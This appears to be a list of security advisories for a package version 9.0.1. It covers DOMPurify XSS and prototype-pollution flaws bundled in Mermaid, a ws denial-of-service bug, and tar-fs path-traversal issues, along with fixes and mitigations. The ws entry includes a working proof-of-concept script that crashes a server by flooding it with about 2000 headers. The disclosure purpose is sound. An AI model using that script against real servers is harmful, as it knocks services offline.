All the vulnerabilities related to the version 9.0.1 of the package
Prototype pollution vulnerability found in Mermaid's bundled version of DOMPurify
The following bundled files within the Mermaid NPM package contain a bundled version of DOMPurify that is vulnerable to https://github.com/cure53/DOMPurify/security/advisories/GHSA-mmhx-hmjr-r674, potentially resulting in an XSS attack.
This affects the built:
dist/mermaid.min.jsdist/mermaid.jsdist/mermaid.esm.mjsdist/mermaid.esm.min.mjsThis will also affect users that use the above files via a CDN link, e.g. https://cdn.jsdelivr.net/npm/mermaid@10.9.2/dist/mermaid.min.js
Users that use the default NPM export of mermaid, e.g. import mermaid from 'mermaid', or the dist/mermaid.core.mjs file, do not use this bundled version of DOMPurify, and can easily update using their package manager with something like npm audit fix.
develop branch: 6c785c93166c151d27d328ddf68a13d9d65adc00DOMpurify has a nesting-based mXSS
DOMPurify allows tampering by prototype pollution
It has been discovered that malicious HTML using special nesting techniques can bypass the depth checking added to DOMPurify in recent releases. It was also possible to use Prototype Pollution to weaken the depth check.
This renders dompurify unable to avoid XSS attack.
Fixed by https://github.com/cure53/DOMPurify/commit/1e520262bf4c66b5efda49e2316d6d1246ca7b21 (3.x branch) and https://github.com/cure53/DOMPurify/commit/26e1d69ca7f769f5c558619d644d90dd8bf26ebc (2.x branch).
DOMPurify allows Cross-site Scripting (XSS)
DOMPurify before 3.2.4 has an incorrect template literal regular expression when SAFE_FOR_TEMPLATES is set to true, sometimes leading to mutation cross-site scripting (mXSS).
ws affected by a DoS when handling a request with many HTTP headers
A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.
const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});
The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)
In vulnerable versions of ws, the issue can be mitigated in the following ways:
--max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.server.maxHeadersCount to 0 so that no limit is applied.The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.
tar-fs can extract outside the specified dir with a specific tarball
v3.0.8, v2.1.2, v1.16.4 and below
Has been patched in 3.0.9, 2.1.3, and 1.16.5
You can use the ignore option to ignore non files/directories.
ignore (_, header) {
// pass files & directories, ignore e.g. symlinks
return header.type !== 'file' && header.type !== 'directory'
}
Thank you Caleb Brown from Google Open Source Security Team for reporting this in detail.
tar-fs Vulnerable to Link Following and Path Traversal via Extracting a Crafted tar File
An Improper Link Resolution Before File Access ("Link Following") and Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal"). This vulnerability occurs when extracting a maliciously crafted tar file, which can result in unauthorized file writes or overwrites outside the intended extraction directory. The issue is associated with index.js in the tar-fs package.
This issue affects tar-fs: from 0.0.0 before 1.16.4, from 2.0.0 before 2.1.2, from 3.0.0 before 3.0.7.
tar-fs has a symlink validation bypass if destination directory is predictable with a specific tarball
v3.1.0, v2.1.3, v1.16.5 and below
Has been patched in 3.1.1, 2.1.4, and 1.16.6
You can use the ignore option to ignore non files/directories.
ignore (_, header) {
// pass files & directories, ignore e.g. symlinks
return header.type !== 'file' && header.type !== 'directory'
}
Reported by: Mapta / BugBunny_ai